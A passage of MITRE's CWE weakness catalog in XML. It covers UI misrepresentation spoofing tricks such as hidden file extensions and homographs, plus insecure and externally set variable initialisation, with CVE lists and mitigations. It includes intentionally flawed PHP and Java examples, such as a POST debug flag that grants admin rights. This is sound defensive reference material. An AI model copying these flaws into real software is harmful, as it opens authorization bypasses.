                  <xhtml:li>Icon manipulation: the wrong icon, or the wrong color indicator, can be influenced (such as making a dangerous .EXE executable look like a harmless .GIF)</xhtml:li>
                  <xhtml:li>Timing: the product is performing a state transition or context switch that is presented to the user with an indicator, but a race condition can cause the wrong indicator to be used before the product has fully switched context. The race window could be extended indefinitely if the attacker can trigger an error.</xhtml:li>
                  <xhtml:li>Visual truncation: important information could be truncated from the display, such as a long filename with a dangerous extension that is not displayed in the GUI because the malicious portion is truncated. The use of excessive whitespace can also cause truncation, or place the potentially-dangerous indicator outside of the user's field of view (e.g. "filename.txt .exe"). A different type of truncation can occur when a portion of the information is removed due to reasons other than length, such as the accidental insertion of an end-of-input marker in the middle of an input, such as a NUL byte in a C-style string.</xhtml:li>
                  <xhtml:li>Visual distinction: visual information might be presented in a way that makes it difficult for the user to quickly and correctly distinguish between critical and unimportant segments of the display.</xhtml:li>
                  <xhtml:li>Homographs: letters from different character sets, fonts, or languages can appear very similar (i.e. may be visually equivalent) in a way that causes the human user to misread the text (for example, to conduct phishing attacks to trick a user into visiting a malicious web site with a visually-similar name as a trusted site). This can be regarded as a type of visual distinction issue.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="684" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="221" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="346" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Scope>Access Control</Scope>
               <Impact>Hide Activities</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Perform data validation (e.g. syntax, length, etc.) before interpreting the data.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>Create a strategy for presenting information, and plan for how to display unusual characters.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-2227</Reference>
               <Description>Web browser's filename selection dialog only shows the beginning portion of long filenames, which can trick users into launching executables with dangerous extensions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2227</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0398</Reference>
               <Description>Attachment with many spaces in filename bypasses "dangerous content" warning and uses different icon. Likely resultant.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0398</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0643</Reference>
               <Description>Misrepresentation and equivalence issue.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0643</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0593</Reference>
               <Description>Lock spoofing from several different weaknesses.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0593</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1104</Reference>
               <Description>Incorrect indicator: web browser can be tricked into presenting the wrong URL</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1104</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0143</Reference>
               <Description>Incorrect indicator: Lock icon displayed when an insecure page loads a binary file loaded from a trusted site.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0143</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0144</Reference>
               <Description>Incorrect indicator: Secure "lock" icon is presented for one channel, while an insecure page is being simultaneously loaded in another channel.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0144</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0761</Reference>
               <Description>Incorrect indicator: Certain redirect sequences cause security lock icon to appear in web browser, even when page is not encrypted.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0761</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2219</Reference>
               <Description>Incorrect indicator: Spoofing via multi-step attack that causes incorrect information to be displayed in browser address bar.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2219</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0537</Reference>
               <Description>Overlay: Wide "favorites" icon can overlay and obscure address bar</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0537</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2271</Reference>
               <Description>Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2271</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2272</Reference>
               <Description>Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2272</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2273</Reference>
               <Description>Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2273</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2274</Reference>
               <Description>Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2274</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1410</Reference>
               <Description>Visual distinction: Browser allows attackers to create chromeless windows and spoof victim's display using unprotected Javascript method.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1410</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0197</Reference>
               <Description>Visual distinction: Chat client allows remote attackers to spoof encrypted, trusted messages with lines that begin with a special sequence, which makes the message appear legitimate.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0197</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0831</Reference>
               <Description>Visual distinction: Product allows spoofing names of other users by registering with a username containing hex-encoded characters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0831</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1025</Reference>
               <Description>Visual truncation: Special character in URL causes web browser to truncate the user portion of the "user@domain" URL, hiding real domain in the address bar.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1025</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0243</Reference>
               <Description>Visual truncation: Chat client does not display long filenames in file dialog boxes, allowing dangerous extensions via manipulations including (1) many spaces and (2) multiple file extensions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0243</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1575</Reference>
               <Description>Visual truncation: Web browser file download type can be hidden using whitespace.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1575</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2530</Reference>
               <Description>Visual truncation: Visual truncation in chat client using whitespace to hide dangerous file extension.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2530</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0590</Reference>
               <Description>Visual truncation: Dialog box in web browser allows user to spoof the hostname via a long "user:pass" sequence in the URL, which appears before the real hostname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0590</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1451</Reference>
               <Description>Visual truncation: Null character in URL prevents entire URL from being displayed in web browser.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1451</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2258</Reference>
               <Description>Miscellaneous -- [step-based attack, GUI] -- Password-protected tab can be bypassed by switching to another tab, then back to original tab.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2258</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1678</Reference>
               <Description>Miscellaneous -- Dangerous file extensions not displayed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1678</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0722</Reference>
               <Description>Miscellaneous -- Web browser allows remote attackers to misrepresent the source of a file in the File Download dialog box.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0722</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>UI Misrepresentation of Critical Information</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="154"/>
            <Related_Attack_Pattern CAPEC_ID="163"/>
            <Related_Attack_Pattern CAPEC_ID="164"/>
            <Related_Attack_Pattern CAPEC_ID="173"/>
            <Related_Attack_Pattern CAPEC_ID="98"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-434" Section="7.16. Foil Semantic Attacks"/>
         </References>
         <Notes>
            <Note Type="Maintenance">This entry should be broken down into more precise entries. See extended description.</Note>
            <Note Type="Research Gap">Misrepresentation problems are frequently studied in web browsers, but there are no known efforts for classifying these kinds of problems in terms of the shortcomings of the interface. In addition, many misrepresentation issues are resultant.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-13</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Defined several different subtypes of this issue.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Maintenance_Notes, Name, Observed_Examples, Other_Notes, References, Relationships, Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References, Relationships, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-02-18">UI Misrepresentation of Critical Information</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="453" Name="Insecure Default Variable Initialization" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product, by default, initializes an internal variable with an insecure or less secure value than is possible.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1188" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="PHP" Prevalence="Sometimes"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>An attacker could gain access to and modify sensitive data or system information.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Disable or change default settings when they can be used to abuse the system. Since those default settings are shipped with the product they are likely to be known by a potential attacker who is familiar with the product. For instance, default credentials should be changed or the associated accounts should be disabled.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code attempts to login a user using credentials from a POST request:</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>// $user and $pass automatically set from POST request</xhtml:i>
                     <xhtml:br/>if (login_user($user,$pass)) {<xhtml:div style="margin-left:1em;">$authorized = true;</xhtml:div>}<xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>if ($authorized) {<xhtml:div style="margin-left:1em;">generatePage();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because the $authorized variable is never initialized, PHP will automatically set $authorized to any value included in the POST request if register_globals is enabled. An attacker can send a POST request with an unexpected third value 'authorized' set to 'true' and gain authorized status without supplying valid credentials.</Body_Text>
               <Body_Text>Here is a fixed version:</Body_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$user = $_POST['user'];<xhtml:br/>$pass = $_POST['pass'];<xhtml:br/>$authorized = false;<xhtml:br/>if (login_user($user,$pass)) {<xhtml:div style="margin-left:1em;">$authorized = true;</xhtml:div>}<xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>This code avoids the issue by initializing the $authorized variable to false and explicitly retrieving the login credentials from the $_POST variable. Regardless, register_globals should never be enabled and is disabled by default in current versions of PHP.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Insecure default variable initialization</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">This overlaps other categories, probably should be split into separate items.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="454" Name="External Initialization of Trusted Variables or Data Stores" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.</Description>
         <Extended_Description>A product system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. The variables may have been initialized incorrectly. If an attacker can initialize the variable, then they can influence what the vulnerable system will do.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="456" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="PHP" Prevalence="Sometimes"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>An attacker could gain access to and modify sensitive data or system information.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>A product system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking (e.g. input validation) is performed when relying on input from outside a trust boundary.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Avoid any external control of variables. If necessary, restrict the variables that can be modified using an allowlist, and use a different namespace or naming convention if possible.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the Java example below, a system property controls the debug level of the application.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>int debugLevel = Integer.getInteger("com.domain.application.debugLevel").intValue();</xhtml:div>
               </Example_Code>
               <Body_Text>If an attacker is able to modify the system property, then it may be possible to coax the application into divulging sensitive information by virtue of the fact that additional debug information is printed/exposed as the debug level increases.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This code checks the HTTP POST request for a debug switch, and enables a debug mode if the switch is set.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$debugEnabled = false;<xhtml:br/>if ($_POST["debug"] == "true"){<xhtml:div style="margin-left:1em;">$debugEnabled = true;</xhtml:div>}<xhtml:br/>
                     <xhtml:i>/.../</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>function login($username, $password){<xhtml:div style="margin-left:1em;">if($debugEnabled){<xhtml:div style="margin-left:1em;">echo 'Debug Activated';<xhtml:br/>phpinfo();<xhtml:br/>$isAdmin = True;<xhtml:br/>return True;</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Any user can activate the debug mode, gaining administrator privileges. An attacker may also use the information printed by the phpinfo() function to further exploit the system. .</Body_Text>
               <Body_Text>This example also exhibits Information Exposure Through Debug Information (CWE-215)</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-0959</Reference>
               <Description>Does not clear dangerous environment variables, enabling symlink attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0959</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0033</Reference>
               <Description>Specify alternate configuration directory in environment variable, enabling untrusted path.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0033</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0872</Reference>
               <Description>Dangerous environment variable not cleansed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0872</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0084</Reference>
               <Description>Specify arbitrary modules using environment variable.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0084</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>External initialization of trusted variables or values</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP25</Entry_ID>
               <Entry_Name>Tainted input to variable</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">Overlaps Missing variable initialization, especially in PHP.</Note>
            <Note Type="Applicable Platform">
               <xhtml:p>This is often found in PHP due to register_globals and the common practice of storing library/include files under the web document root so that they are available using a direct request.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">External Initialization of Trusted Variables or Values</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-02-16">External Initialization of Trusted Variables</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="455" Name="Non-exit on Failed Initialization" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error or a hardware security module (HSM) cannot be activated, which can cause the product to execute in a less secure fashion than intended by the administrator.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="705" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="636" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
